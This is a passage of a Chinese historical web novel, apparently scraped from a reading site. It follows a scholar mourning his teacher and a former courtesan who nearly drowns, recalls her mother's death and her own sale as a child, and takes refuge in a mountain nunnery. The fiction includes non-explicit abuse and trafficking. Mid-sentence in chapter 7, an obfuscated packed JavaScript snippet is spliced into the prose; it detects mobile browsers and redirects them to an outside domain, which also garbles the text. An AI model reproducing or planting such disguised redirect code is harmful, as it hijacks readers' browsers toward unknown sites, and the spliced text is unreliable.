他甚至才刚刚入仕,刚刚触及权力的边缘,刚刚让朝廷重新记起李昌唯这个名字。 废太子死了,一切都白费了。 僵坐半晌,他忽然笑了,低沉喑哑。 “天意……” 他终于明白,祖父今夜铺垫已久的天意,究竟是什么了。 “回去吧,明日去和你爹认错,莫要伤了他的心。”沈世丰剪灭烛心,转身送客。 夜凉如水,沈不器独行月下,如同行尸走肉,不知怎么回了院子。 推开房门,地上俨然放着自己从绍兴带回的行李。 他慢慢坐到边上,掀开箱子,里面是李昌唯的手记,即便他细心修复过,仍旧墨迹模糊、纸张脆弱。 冰凉的指尖拂过那经年的书页,他嗅着窗外的丹桂芬芳,心中猝然悲恸。 李昌唯死时,也是秋天。 那时他不过十三,侥幸过了乡试。 十三岁的举人,何等稀奇! 自打放了榜,无论主考的京官、还是地方教化官,都轮番盛邀、宴饮不停。 今日扬州游船、明日钱塘揽胜,凡到之处,无不称赞他骥子龙文、前途无量。 在江南金桂的熏风里陶然数日,他返程归京。 甫一踏进城门,他便直奔老师府邸,却看见门外两个官兵、门上两张封条。他这才发现沈家人的欲言又止、满目悲凉。 他们告诉他,李昌唯死了。 老师不堪受辱,一根腰带缠脖,死在了诏狱。 死前只让狱卒给沈家人留了一句口信:让他安心乡试,旁的不必多说。 出乎意料的,十三岁的他很快接受了事实。 李昌唯死前没来得及定罪,加之在文坛颇有声名,沈家又四处疏通,朝廷终究留了几分薄面,尸身停在诏狱,并未直接扔到乱葬岗。 沈不器平静地收敛了老师的尸身,时局所限,只治了一场简朴的丧事。摔盆打幡的,也只有他一人。 虽说罪名未定,可朝廷还是查抄了李昌唯的住处。 他死时已年近七旬,穷翰林一个。朝廷将他租赁的两进院子翻了个底儿朝天,也只找到书卷数箱、现银不到百两。 至于沈家十年来的束脩、节礼,都被他换作香油钱,在佛寺里为沈不器供了一盏长明灯,为他祈福。 得知消息,沈不器连夜赶到京郊的妙法寺。 高台上放了三盏灯,他的名字,紧紧靠着李昌唯早已离世的妻女。 他跪在那三盏灯前,恸哭一夜,如梦初醒。 此后五年种种,在今日太子薨逝的消息面前,都变得无足轻重了。 沈不器强忍情绪,手指不受控制地来回翻检着箱内书画,终于在摸到那件短衫时,泪水溃堤。 秋风割人眼,他痛得发抖,将脸埋进短衫中,嚎啕大哭。 天地无终极,人命若朝霜。 7.母女 好冷。 浪头不断扑向口鼻,身体已然僵冷,唯有双臂死死抱住浮木,在寒江中沉浮。 终究是她托大了。 宋云谣心中苦笑。 先前将沈三推上岸边礁石后,她故作被江水冲走,本以为离了他的视线,总有机会脱身。 可此处是桐江支流汇集之处,河道复杂、高差悬殊,山洪加之连月梅雨,江水湍急之势远超她所想。 宋云谣尝试往岸边游去,却一次次被逆流冲回江心。 急流中浮木、暗石不断,时不时冲撞过来,起初她尚且能狼狈躲避,到如今,连抬手的力气都没有了。 体力在急速流失,又一个浪头打来,她被扑倒江水之下,挣扎许久,双腿用力一蹬,才终于破开水面。 天色越发昏沉,两岸青山如同漆黑的凶兽,在狂风中毛发悚立、呜咽不断。 她艰难睁眼,眼前只能看见那凶兽巨大的投影,以及漫无边际的江面。 水天一色的灰绿,压得人喘不过气。 宋云谣从未如此惧怕过水。 她是江上长大的孩子,从母亲腹中诞生的刹那起,就注定与水亲近。 可她从未想过,有朝一日,水也会成为她的葬身地。 当真要死在这吗? 宋云谣大口喘气,缓慢而粗重。 她想,她不后悔杀死陈茂良,不后悔杀死王攀,也不后悔救下沈三。 那双草鞋的恩义、山洪时共患难的恩情,她也用一条命偿还了。 若今日当真死在这,这辈子,她不欠谁,也没有什么可后悔的。 思及此,身体陡然轻松下来。眼皮重如千钧,视线也逐渐模糊。 破风箱一般的呼吸声中,她好像在江中看见了谁人的倒影。 发枯的辫子垂在胸前,粗麻布衣起了毛边,松松垮垮披在肩上。 那人笑着,眼睛眯成一条缝,快三十的年纪,还有股醉酒般的傻气。 是宋鱼儿。 她呆住了,喃喃道。 宋鱼儿,你来接我了吗? 水中那人但笑不语,只半蹲下身子,朝她伸开双臂。 宋云谣鬼使神差松开了怀里的浮木。 透明而涌动的波纹中,她蜷缩身体,不断下坠,落入宋鱼儿的怀抱。 那一刻,寒冷的江水也变得和煦,江面不再是沉沉的灰绿,湛蓝映着金光,不知朝阳还是夕照,一切都柔和而静谧。 她被这温柔的水包裹着,生命仿佛回到了混沌起始的那一刻,在母亲的羊水中,悠悠然打着转。 不知过去多久,她如一尾游鱼跳出那怀抱,双腿摆动,跃出水面。 五岁的她高高举起一条滑溜溜的草鱼,朝船房上喊道:“宋鱼儿!看我捉的这条鱼,可大了!” 她娘宋鱼儿赤脚坐在船板上,手里缝着旧衣,朝她笑:“快上来!” 她湿漉漉爬上船,宋鱼儿抱着她进了破旧的船篷,扒了衣裳,换上刚缝好的旧衣——袖窿小了,宋鱼儿剪了口子,用细细搓洗过的苎麻补上,抬手便不紧了。 “宋鱼儿,我一会儿就去找哑娘,把鱼卖了,你在家好好的,昂。” 她个子小,话却老成。 可宋鱼儿认真听了,认真点头,认真回答:“好,我听你的。” 宋鱼儿蹲在面前,她满意地摸摸宋鱼儿的头发——哑娘就是这样对自家闺女的,摸完头,小小的丫头就不哭不闹了。 两条草鱼栓好绳、挂上脖子,她下了船。 青田县的江岸上人头攒动,早归的渔夫拖着一箱箱鱼往外走,间或有几条鱼落了地,她眼疾手快抓进怀里,埋头往外跑。没跑出几步,便被拎着衣领抓起来。 渔夫满身腥气,打量她两眼,将她扔下,笑得意味深长:“原来是宋娘子家的女娃。” 说完,周遭男人一阵哄笑,彼此挤着眼睛,嘴里嗡嗡说着什么。 怀里偷藏的鱼掉了一地,男人们却并不在意。他们大声谈论着宋鱼儿,说着她听不懂的词、用着她听不懂的语气。 她瑟瑟缩在地上,不知为何,心底惶惶不安。 哑娘钻进人群,拉着她往外走,可她满心惶恐,猛地挣开哑娘的手,拔腿便往家跑。 她每日早起卖鱼,宋鱼儿便待在家里。 等她揣着换来的粟米或谷糠回来,宋鱼儿总是呆呆坐在小炉边,盯着锅底冒泡的水,一言不发,直到她摸摸头,才会笑起来。 但是今日,岸边不见宋鱼儿沉默呆坐的身影。 耳畔没有风,可江水微微荡着,小船也微微荡着。草帘间或荡开,船篷里,一个男人趴在宋鱼儿身上,而宋鱼儿被他的手脚困住,呆呆望着半空。 像渔网里半死的鱼,黑眼珠空洞无神,翻着肚皮,不再挣扎。 她定定站在岸边,头晕目眩,脚底生寒。 哑娘不知何时追了过来,捂住她的嘴,捞起她便跑。 她被哑娘抗在肩上,还挂在脖间的草鱼一下下抽打着她的脸,抽得她嘴角木然。 直到她整张脸都被抽得冰凉,哑娘终于将她放下,取下她脖子上的草鱼,又摸了摸她的头发,叹了口气。 草鱼交给哑娘的男人,浑身鱼腥的汉子蹲在河边,肥手握住滑腻的鱼身,一下下刮走鳞片,露出白里透红的肉。 尖刀一转,剖开鱼肚,指甲缝沾满黑泥的手指伸进鱼肚,掏出内脏,挤掉腮腺,红的黄的黑的,一把甩到她面前里。 她“哇”的一声,吐了。 男人嫌恶地躲开,哑娘不知所措冲上前,而她伏在那摊污秽里呕吐不停,吐得涕泪满面。 她推开哑娘,浑浑噩噩回了家。 宋鱼儿如往日那般坐在炉边,呆呆望着锅底,直到看见她走到跟前,才抬起头。 她们无言对视许久,宋鱼儿嘴唇颤抖,干瘦的手擦去她嘴角的泪与秽物,跪地搂住她。 宋鱼儿在她怀里放声痛哭,她只抬手摸摸她的头发,小声说:没关系,宋鱼儿,有我呢。 那天夜里,借着明亮的月光,宋鱼儿抱着她,小心翼翼翻开那本快散架的词集,指着上头两个字,双眼发亮。 她说,娘不识字,可找了位读书人问过,这两个字,又好听又漂亮。以后,就是我们小囡的大名。 宋鱼儿轻轻抚摸书页,珍重无比。潋滟波光将她映得光彩动人,那是她捧着词集时,才会露出的模样。 她呆呆望着宋鱼儿,不觉看痴了,跟着她小声念:云谣、宋云谣。 来年春天,宋鱼儿生了场大病。 闭眼那夜,哑娘来了。宋鱼儿躺在茅草里,面色青灰,瘦得骇人,抖着手,从活动的船板下摸出一个香囊、一个布包。 她将布包塞给哑娘。 她说,这二两银子,我攒了一辈子,都给你。我不求你收养她,只求你将她卖到一户清白人家,无论婢子还是粗使,只要有口饭吃、有个屋住就够了。 记住,清白人家,定要是清白人家! 哑娘坐在边上,使劲点头,泣不成声。 然后,她将那只香囊挂到宋云谣脖间。 宋云谣低头看,泪眼中,香囊上绣了个模样拙劣到古怪的鱼儿。 她盯着那鱼,忽然笑出鼻涕泡。 “好丑啊,鱼儿。” 宋鱼儿看着她,惨白的嘴巴一咧,也嘿嘿笑了起来。 二人对笑半晌,宋鱼儿身子一抽,呼吸猛地卡住,嘴角还挂着笑,皮肉却僵硬了。 撑着最后一口气,宋鱼儿死死抓住宋云谣的手,用力得眼珠突出。 “……答应,答应娘……要好、好好,活……活!” 嗓子眼里挤出最后一个字,宋鱼儿断了气。 几日后,哑娘帮她寻了个山头,埋葬了宋鱼儿。 她在坟头坐了一下午,没有哭,只是心里不停想,宋鱼儿究竟是谁? 她有家吗?她怎么生下了自己?她的娘在哪儿? 山风呜咽而过,没有带来答案。 翌日清晨,哑娘的男人带她进了城。 青田县的牙行小院里人满为患,男男女女都蹲在地上,衣衫褴褛、面黄肌瘦。牙人行走其间,看两眼,分个甲乙丙等,交钱画押,便定了他们的去处。 轮到她了,男人有意将她说小了两岁。 簪花的牙婆浓妆艳抹,尖尖的长甲掐住她的下巴,又掀起她的衣袖、裤腿仔细打量,活像肉市的老板挑活猪崽子。 半晌,牙婆直起腰,朝男人比个了数。 男人喜不自胜,同她攀谈起来,宋云谣懵懵懂懂,只听懂了“念书学字”三个字。 她忽然想起宋鱼儿捧着书的模样。 宋云谣扯了扯男人的衣角,小声说,我愿意去,我想念书,让我去吧。 八两银子换一纸契书,她将自己卖给了牙婆。 第二日,牙婆将一伙丫头赶上船,要送她们去杭州。船动了,她望着逐渐远去的青田县,心跳砰砰。 远处江岸上忽地冲上来一道人影,竟是哑娘。她跪在岸边无声哭叫,拼命向她比划手势,让她回来。 宋云谣冲到船边,朝哑娘挥手:别哭啦!我去过好日子啦! 背后传来牙婆的笑声,宋云谣也笑起来。 她想,有饭吃、有衣穿、有书读,怎么不是好日子呢? 笑着笑着,江上渐渐升起浓雾,身旁寂静下来。瑟瑟江风吹过,她打了个寒颤。 【宋云谣。】 她听见有谁在喊自己,转身,船上的船夫、牙婆、丫头们都已消失不见,只剩她一人。 【宋云谣,你真蠢。】 那声音冰冷讥诮,还有几分熟悉。她心中惶惶,四处张望,却看见另一个自己满目憎怨,自迷雾中踏浪而来,狠狠将她推到江中! 落水的一刹那,无数碎片涌入大脑,宋云谣猛然从回忆抽身。 她终于记起,此行之地,等待她的并非有饭吃、有衣穿、有书读的好日子,而她也早已不是青田县暗娼的女儿。 她是翠莺阁里学艺的丫头,是江南商贾八千两买回家的瘦马,是背了两条人命的逃犯。 冰凉彻骨的江水将她包裹,她怔怔望着桐江的粼粼水波,现实与虚幻交织浮现,时间的尺度都变得缥缈。 恍惚间,她竟想不起自己为何在此,又为何落得个人不像人、鬼不像鬼。 她明明应当在青田县,从狭窄破旧、乌蓬漏雨的舴艋舟上醒来,清晨跳进瓯江微凉的江水中,寻摸两条比手臂还长的大鱼,去集市换一本旧书、半袋谷糠,哄宋鱼儿高兴。 又或是在杭州城,剪子巷深处的翠莺阁里,从生涩嘲哳的丝弦课上分神片刻,不去听妈妈打一巴掌给一甜枣的鬼话,嗅着西湖外飘来的脂粉香风,盘算何时叫上素梅儿,一同去院里摘石榴。 可那些日子,那些苦药汁里寻糖吃一般的日子,早已离她远去了。 濒死之际,她又看见素梅儿的脸。 素梅儿神情冷淡,一如从前在翠莺阁里的模样。 【窈儿,苦吗?】她问。 苦。 她无声回答。 【当真苦吗?】 她不想再回应,可闭上眼,素梅儿声音又出现在脑中。 【没有灶台高就挡在宋鱼儿跟前,被人抓着头发,指着鼻子骂娼妇养的时候,不苦吗?】 宋云谣置若罔闻,任由身体不断下坠。 【被鸨母抓回行院,扒了衣服捆在树上鞭笞的时候,不苦吗?】 【关在柴房饿到神智不清跪在地上乞食的时候,不苦吗?】 【脱了衣裙学那些淫词浪语的时候,不苦吗?】 温热的泪从她眼角渗出,转瞬消失在江水中。 可素梅儿的声音仍在脑中步步紧逼,愈发尖利。 【八千两,像货一样卖给陈茂良的时候,不苦吗?】 【为一桩银矿生意,又像货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629990|154264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样转手再卖王攀的时候,不苦吗?】 宋云谣浑身颤抖,情绪几近崩溃,终于在脑海中放声哭喊。 “苦!苦!没有一日不苦!你满意了吗!” 素梅儿蓦地收声,在她歇斯底里的哭声中,轻轻开口。 【那些日子都扛过来了,今日不过皮肉之苦,又怎么过不去呢?】 【宋云谣,迈过去,你就自由了。】 素梅儿的声音消失了。 宋云谣慢慢睁开眼,眼前仍是那水波,耳畔仍是如死般的寂默。可她有如大梦初醒,一股念头注入心间,手脚遽然挣扎起来,拼命向上游去。 她还不甘心,她还不想死。 她答应过宋鱼儿,要好好活! 她的姿势僵硬滑稽,窒息感铺天盖地而来,已接近极限。可她不知从哪来的力气,双脚奋力蹬动,离那光亮处越来越近、越来越近—— “哗啦——” 呼吸骤然通畅,宋云谣破开水面,大口喘气。她在江流中艰难维持平衡,可浑身虚软,眼前一阵阵发黑,几欲栽倒。 危急之间,一根竹篙忽然伸到她面前。她扑腾几次终于抓住,被竹篙一路拖到江心的扁舟上。 这艘破船上站着个赤脚的中年女人,她力气大得出奇,三两下便将宋云谣搬了上来。 她浑身脱力,仰躺在船上上,透过那破败的乌蓬,恍惚发现天黑了。 救她上来的妇人在她耳边说着什么,轻轻拍了拍她的脸,可宋云谣紧绷的神经骤然松开,浑身轻得仿佛江上流云,不禁缓缓闭上了眼。 意识消失前,她只记得一轮皎月挂在中天,云翳明暗流动,竟是个久违的晴夜。 再睁开眼,已是天明。 江上轻烟薄雾、烟波浩渺。远处青山夹岸,白鸟跃过翠色,声声啁啾。 而她卧在小楫轻舟之上,听汩汩水声从耳畔流过。船板破旧,江水渗进船篷,漾过她的发梢、脚背,凉凉的,带着初秋的寒。 她没死,她活下来了。 意识到这一点,她的眼泪几乎夺眶。 “你醒了。” 中年妇人站在舟头,撑着竹篙。她肤色黝黑,沟壑纵横的脸上满是汗珠,上衣半脱不脱挂在腰间,随意露着汗衫,随她熟练撑船的动作,隐隐能看见她结实的臂膀。 宋云谣揉揉眼睛,爬起身坐好,郑重道谢。 话没说几句,那妇人摆摆手,“你的衣裳,我替你换了。” 她低头看,这才发现自己穿了身棉麻旧衣,洗得发白,袖口、衣领都缝过补子。 “你身上很多伤。”中年女人冷不丁道,“是逃出来的吧,丫头。” 宋云谣愣住,身子不自觉向后退,心下生起警惕。 “我都不怕,你怕甚?”那妇人却浑不在意,从腰间取了块油纸包的干饼子,丢给她,又问,“你要去哪儿?我送你一程。” 她接过饼子,沉默摇摇头。 “不用,还是不知道?”女人忽然笑了,“不如你我做个伴,如何?这船漂到哪儿,我们便去哪儿。” 宋云谣不知如何回应,那女人也不恼,转身继续撑篙。 船行青山绿水间,女人口中吹着哨子,唱着渔歌,顺江流而下。 她坐在船中,靠着破洞的乌篷,身上一阵阵发寒,脑袋昏昏沉沉。困意漫到周身,她不知不觉又闭上眼。 就这么一会儿睡、一会儿醒,她的意识渐渐模糊了。不知第几次再醒来,她才发现自己已不在船上。 天色昏黄,绵绵细雨落在眼前,那妇人背着她,一步步走在山路上。 她浑身虚软,喘息沉重滚烫,趴在妇人宽厚的背上,迷迷糊糊开口,“鱼……宋鱼儿……娘……” 她声音微弱,妇人只听清最后一个字,不由得神情微变。转头看去,肩上,少女紧紧闭着眼,已然没了意识。 林间雨声渐大,女人不敢再耽搁,双臂箍紧,大步往山上去。 顺着青石砖一路拾级而上,她终于看见远处一间红墙黛瓦的古刹,上书“静雪庵”三字。 女人面露喜色,快步走到门前,腾出手扣动门环,朝里喊道:“救命!有没有人,救命!开门啊!” 门很快打开,两个身着灰青淄衣的比丘尼看清眼前情状,赶忙让开道。一人带他们进了寮房,另一人急忙去请示主持。 不多时,主持法真匆匆赶来,为高烧昏睡的宋云谣把脉开方,又吩咐小尼去起灶烧水。 待一切安排妥当,法真终于得空问起二人的身份。 那女人犹豫片刻,跪倒在地。 “求大师收下我们母女二人吧!” 两日后,宋云谣终于从病中醒来。 睁开眼,便是这间朴素的屋子,墙上供着佛像,门外隐隐传来撞钟声。她慢慢反应过来,这恐怕是寺庙里的寮房。 门外,一个瘦高的尼姑端着药走进来,见她醒了,道:“女施主终于醒了。” “这里是……”宋云谣脑中一片浆糊,刚开口,忽然想到那个言语怪异的中年女人,忙问道,“敢问这位师傅,可见过一个妇人,不高不矮,三四十岁的模样?” 那尼姑神情露出几分古怪,将药搁到案几上,道:“你说你娘?张施主随净念上山拾柴去了,”她看了看外头天色,“估摸着,天黑前就能回来,别担心。” 宋云谣愣在原地,不知如何回话。 娘? 那女人? 见她神情不安,尼姑安慰道:“别担心,张施主身子矫健,就我们庵堂后山那条路,近得很,不会出事的。” 她摸了摸碗壁,帮她扶起身坐好,“施主大病未愈,还是多惦念自己些为好。” 宋云谣被她说得晕头转向,可想起那日在船上,那中年女人的言语,心里大致有了谱。 她从善如流喝了药,旁敲侧击道:“是我那日病糊涂了,不知这里是何地?既然醒了,合该向住持道谢一二才是。” 8.伤疤 承安四十六年,定阳县。 时值初春,灵山上烟柳飞絮、草木葱茏。天还未亮,静雪庵西北角的小院里,寮房木门被轻轻推开。 甫一推开房门,清晨微凉的风扑到脸上、钻进袖笼,哈欠还没打完,宋云谣就忍不住打了个寒颤。 拿着洗漱物件,走到院中的石井边,利索打上一桶水,倒进木盆里。井水冰凉,棉布浸了水,拧紧,再贴在脸上,最后一丝困意都消散了。 耳畔一片宁静,寺中的钟声还未响,晨风过处,唯有山中林木婆娑摇曳的沙沙声。 宋云谣蹲在水井旁,棉布盖在脸上,长长喟叹一声。 微微低头,棉布滑落水中。盆中的倒影散了又聚,她望着水中那个荆钗布裙、不施粉黛的自己,竟有几分恍如隔世。 自她被救起,在静雪庵落脚,一眨眼,已有数月。 彼时她因落水昏迷不醒,再醒来时,窗外红叶飘摆、圆月高悬,已是中秋。 给她送药的小沙弥尼撞见她睁眼,匆匆搁下药碗便小跑离开。 不多时,一个中年妇人便大步流星冲进屋里,扑到床前,握着她的手,哭天喊地唤她女儿。 宋云谣自然吓了一跳,想要抽手,那妇人却攥得更紧,悄悄朝她使眼色。 不等她问清,一位身着海青、头发花白的比丘尼走了进来。 她瞧着约莫五十岁出头,面容沧桑,可目光矍铄、步伐沉稳,气度不俗。再看旁边小沙弥尼的敬重姿态,她便暗自猜测,此人恐怕是位德高望重的法师。 果不其然,这法师自言是庵堂的住持,名叫法真,然后便向她问起身体感觉如何。 可不等宋云谣开口,那妇人便先一步抢话,只道女儿昏迷数日,身子亏虚、话都说不清楚,让她这个当娘的心疼得紧,想要寺里给她做些肉吃。 “……我要求也不高,半只鸡就行了!”那妇人大言不惭道。 宋云谣听得满心错愕,不光因为那妇人伪撰的母女身份,还因为她拉扯着法师衣袖、硬是要佛寺为自己破戒开荤的鬼话。 瞧着妇人厚着脸皮、死缠烂打的模样,又对上法真住持一言不发投来的目光,刹那间,她只觉一股热气从脚底窜到头顶,宋云谣的脸“噌”一下红了。 窘迫至极,宋云谣满心尴尬,一时间竟顾不及假母女的谎话,只想拉住妇人,让她别再提什么开不开荤的事。 可她张了张口,竟发不出声,越急嗓子越干疼,反倒被自己呛到,剧烈咳嗽起来,咳得上气不接下气,眼前一阵阵发黑。 那妇人赶忙给她喂水,小沙弥尼也前来帮忙。待她终于顺过气来,头晕眼花卧在枕上时,两个尼姑皆已离去,屋内只剩她与妇人。 四下无人,妇人一改方才蛮不讲理的泼辣模样,锁好门窗、确认无人,懒懒走回床边靠着,握着剪子,漫不经心剪指尖。 “多谢你救了我。”她缓了许久,终于开口问,“可你究竟是谁?” 那妇人头也不抬,“他们都叫我兰姨、兰大娘。” 宋云谣蹙眉,“我不是这个意思。” 兰姨剪完指甲,抬起头,盯着她哼笑一声。 “看着机灵,倒是个榆木脑袋。” 她抖了抖腿上的指甲屑,沉沉的铁剪在粗实的指间打转,做派很是粗野。 之前不曾注意,如今二人对视,她才发现兰姨右眼角有道狰狞凹陷的疤痕,一直连通毛发杂乱的眉尾 。 这道疤,加上她刚硬的轮廓、阴沉的目光,还有此时手里把弄铁剪子的姿态,凶戾之气扑面而来。 宋云谣抿抿唇,一时沉默下来。 事到如今,她又哪里不明白,这位“兰姨”恐怕也有些见不得人的往事,只能远走他乡、四处逃窜。 如今二人偶然遇见了,搭伙捏造一个假身份,互相遮掩,才是上计。 ——毕竟,落难的孤儿寡母,总比两个身份来历不明的女子,更容易叫人取信。 思忖片刻,她终于下定决心,低声道,“我明白了。你是如何和她们说的?” 见她上道,兰姨满意点头,同她细细说起这几日的情形。 那日在船上,兰姨本以为她只是太过乏累才又昏睡过去,便只给她披了件蓑衣,并未多在意。 可直到天黑,她仍不见醒,兰姨这才发现她浑身冷汗、脸色惨白,已然昏迷过去了。 此时恰好到了沿江一处渡口,她打听一二,得知她们已进入衢州府定阳县地界。只是周遭人烟稀少,更见不到什么医馆药房的影子。 此处离县城虽远,好在几里外的灵山上,有一座名叫“静雪庵”的姑子庙。 静雪庵的庵主名叫法真,此人略通医理,只要女香客捐些香火钱,便能在庙里得到诊治。 得知此地,兰姨当即决定背她上山。 到了静雪庵,法真看出她们并非本地村民,为宋云谣诊脉开方后,直接问起她们的来历。 兰姨是撒谎的好手,直接谎称家里男人死了,她们母女二人被夫家欺辱,无奈下远走投奔娘家。 可千里迢迢回了故地,却得知娘家几口人都死在几年前的饥荒里,什么也没留下。 她们无奈当了流民,路上又遇到匪盗。眼下虽死里逃生,却实在走投无路了。 兰姨越编越惨,只求能唤起眼前这位出家人的慈悲心。 法真并未叫她失望,虽嘴上不说什么宽慰劝解之言,却允许她们先在此治好病,旁的往后再议。 宋云谣听后,一面咋舌她谎话信手拈来的本身,一面不解。 “住持如此厚待,你为何偏要让庙里为我开荤?你就不怕得罪了住持?” 听罢,兰姨双手一抱,白眼一翻,“切”了一声,又露出那副蛮不讲理、市侩霸道的模样。 “出家人不都是菩萨心肠,给病人吃口肉怎么了?我又没让她们吃,这么忌讳做什么!你难道就不想吃?” 宋云谣错愕道:“我什么时候说我想吃肉了?” 兰姨一手叉腰,一手指着她的鼻子开始嚷嚷。 “你以为就你是病人?我也病了,我想吃,不行啊?我千辛万苦救你一命,你就这么没良心,连口肉都不让我吃?” 宋云谣被她这副理直气壮的泼辣模样气笑了,可昏迷数日、身子虚弱,实在没有争辩的心力。 思及她毕竟救自己一命,宋云谣只能吞下厌烦,默了默,继续说回正事。 “那之后,便按你说的办吧。只是你我二人还需将身份来历补全一些,免得被人寻到漏洞,旁的生出些猜忌。” 兰姨斜撇她,不耐烦道,“还用你教我?黄毛丫头一个,连名字都不说,我怎么和你演!得亏没穿帮!” 宋云谣被哽了一句,下意识想编个假名,可话到嘴边,不知怎的,竟说不出口。 她忽然想起,当初卖给牙婆的契书上,她只盖了个指印,到了杭州没多久,苏妈妈便给了她“窈儿”这个名字。 如今这世上,恐怕只有青田县的哑娘,还记得宋云谣这个名字了。 有个念头在心中摇曳,她紧咬下唇,踌躇片刻,还是忍住了,只道:“我姓宋。” 见她也有所保留,兰姨一耸肩,无所谓道:“行,随便你吧。以后我们母女俩,便是被不知哪个杀千刀的宋家赶出来的,我记住了。” 宋云谣心中愠怒,却不好得发作,干脆转身假寐,不再理会她。 就这样,她们暂且在定阳县的静雪庵落了脚。 静雪庵除了一名住持,还有将近十五个尼姑,大大小小年纪都有。 虽说规模不大,住持日常还需兼任监院、库头等事务,可比起三两人的小庙,庵堂里也算是井井有条。 听常给住持跑腿送药的小沙弥尼说,前几年来找住持看病的女香客可多了,方圆百里的村镇都有妇人前来。只是不知为何,这几年来的香客少了,庵堂也冷清许多。 宋云谣亦是不解。 法真住持并不是那等打着医术幌子、坑蒙拐骗之人,给她诊了几次脉,连自己在翠莺阁时就落下的顽疾都能说得一清二楚。 用的药材也上乘,方子准、见效快,不像她儿时给宋鱼儿煎的那些药,尽是些便宜药材不说,有些连霉点子都擦不掉。 她思来想去,只能猜测,许是正因为法真医术不俗、用药不敷衍,所以香火钱也贵些,长久以往,许多寻常人家的妇人便承受不起,不敢再来了。 每每思及此,她都不禁惴惴: 自己生了这场大病,又要付多少香火钱呢? 愁归愁,可自己日日卧榻养病,也无计可施。 与她相反,兰姨倒是很快融入一众尼姑中。 她虽不必跟着晨课诵经,可别的庶务,后山种田、烧柴做饭等,都算是一把好手。 每日撞钟声响,兰姨便换好衣服起身,同姑子们外出,直至夜里才回来。兰姨洗漱后躺在床上,与她说不到五句话,便叫不醒了。 待到月悬中天,宋云谣迷迷糊糊要睡着时,又被兰姨熟睡的呼噜声吵醒。 她本就觉浅,总会被那呼噜声折磨得一夜未眠,白日昏昏欲睡,到了夜里又被吵醒、辗转反侧。 可再循环往复一段时间,她竟也习惯了。 有天晚上,许是白日太过劳累,兰姨头刚沾枕头,呼噜声便打得震天响。 她心中无奈,好奇今夜又要无眠多久,却不知不觉一觉睡到天明。 醒过来时,她愣了许久,想笑,心底又有些说不出的滋味。 时间总能改变许多东西。 去岁腊月时,她自觉已经康健许多,担心香火钱越积越多,便找到法真,同她说自己已经痊愈,不必再喝药了。 可法真却并不言语,只用她那双冷淡到古井无波的眼睛盯了她许久,直到宋云谣自己硬着头皮收回这话,方才罢休。 自那天起,宋云谣也歇了说服法真停药的心思。身子骨好转,不必拘在院子里养病,她的日子逐渐变得松散起来。 白天,她便随兰姨与姑子们洗衣烧饭、拾柴洒扫。可她们顾忌她的身子、总不让她干重活。 霜露天河边洗衣时,便让她回去等着晾衣服;雪天时进山拾柴时,便让她回去热灶;到晴天洒扫佛殿、擦洗佛像时,便让她去院子里晒书。 只是她们担心的种种,宋云谣却不甚在意。 再苦再累,能有行院学艺、奔波逃亡累吗? 这样辛劳一天,就算吃糠咽菜也香些。 下午闲来,她也会随姑子们去佛堂,听法真讲禅。有时天清气朗、讲的又不艰深,她便听得意趣盎然、颇有所得。 有时被午后的太阳晒得困倦,她便缩在蒲团上,借姑子们的背影遮挡,将头埋进经书里,偷偷小憩片刻。 往往此时,“山大王”便不知从何处溜达过来,慢慢钻进她盘起的□□,呼噜呼噜睡得香。 “山大王”是静雪庵里的一只野猫,黄身白肚、金被银床,额上几道杠,平日神出鬼没,故而得了“山大王”的美号。 山大王机灵得很,不必别人喂食,便能将自己养得又肥又壮实,只是性格着实欠揍了些。 下雪天,她准备烧火做饭时,常常会在留有余温的灶膛里,发现山大王蜷缩其中、安然取暖的身影。 将那肥猫一把捉出来,它也不动不叫,只掀起眼皮瞧她一眼,懒懒舔湿爪子,擦在自己黑灰的脸上,看得宋云谣又好气又好笑。 直到夜里,回到寮房,看见桌上温热的滋补汤药、外伤的敷药,她才会陡然想起,这样的日子,也不过是她用香火钱换来的罢了。 山中日月长。 就这样,日夜听着静雪庵的诵经声、撞钟声、呼噜声,看盆中金蕊开了又败、灵山梅林红了又白,再揉揉山大王软绵绵的肚子,一年翻过头,承安四十六年,来临了。 昨夜,小沙弥尼没有再送来滋补汤与外敷的膏药,她心里便明白,这是算香火钱的时候了。 她并没有将此事告诉兰姨,辗转反侧一夜,天未亮,自己便悄悄起了身,准备独自一人去找法真。 而此刻,她盯着水盆看了许久,右手伸进水中,轻轻拨散了那倒影。 隔着一层水波,如若忽视手背上那半片红褐相间的狰狞疤痕,这只手仍可以称作冰肌玉骨、红润细嫩。 可只有她知道,半年来的庶务与农活,早让这双手不复从前的纤弱柔滑、白净细腻了。 这双曾称得上柔夷的手,从前被鸨母小心养护、被恩客揉捏欣赏,如今用来扛锄头、洗衣裳、砍柴火。 她从水中抬起手,借着微凉的天色,细细看着手背干燥的纹路、虎口细小的划伤、生了冻疮的骨节。 若苏妈妈还在这,看见这双她曾经无比得意的手,如今变得如此丑陋,只怕要用竹篾子狠狠抽她一顿,再痛心疾首地将她的卖价连降几等。 想到这,她忍不住哂笑一声,又立马反应过来,脸色微变。 ——真是没睡醒,明明日子这般安逸,怎的老是想起从前那些狗屁倒灶的事了! 她不再胡思乱想,收拾好利索起身,回屋放好东西。临走时,看了眼床铺上仍在熟睡的兰姨,轻轻带上门。 出了小院,一路往庵堂深处走,便是法真住持的禅室。天色蒙蒙亮,透过窗纸,禅室里一片橙黄烛光。 听净念比丘尼说,法真住持每日五更天不到便醒了,在屋中翻阅医书到寅正四刻,打坐两刻钟,在寺中绕行两圈,才去处理寺中庶务。 宋云谣便是寻了这个空档,找她说事。 果不其然,没一会儿,屋内烛火熄了,禅室打开,法真走了出来。 这个时辰,看见宋云谣衣衫齐整等在外头,她并不惊讶,二人合掌行礼,并肩走在庵堂的石板路上。 走了一圈,又绕过佛塔,法真仍气定神闲,宋云谣率先开口,打破沉默。 “法真大师,我是来结香火钱的。” 法真步履不停,一如既往的淡然语气,“宋施主,你还未痊愈。” 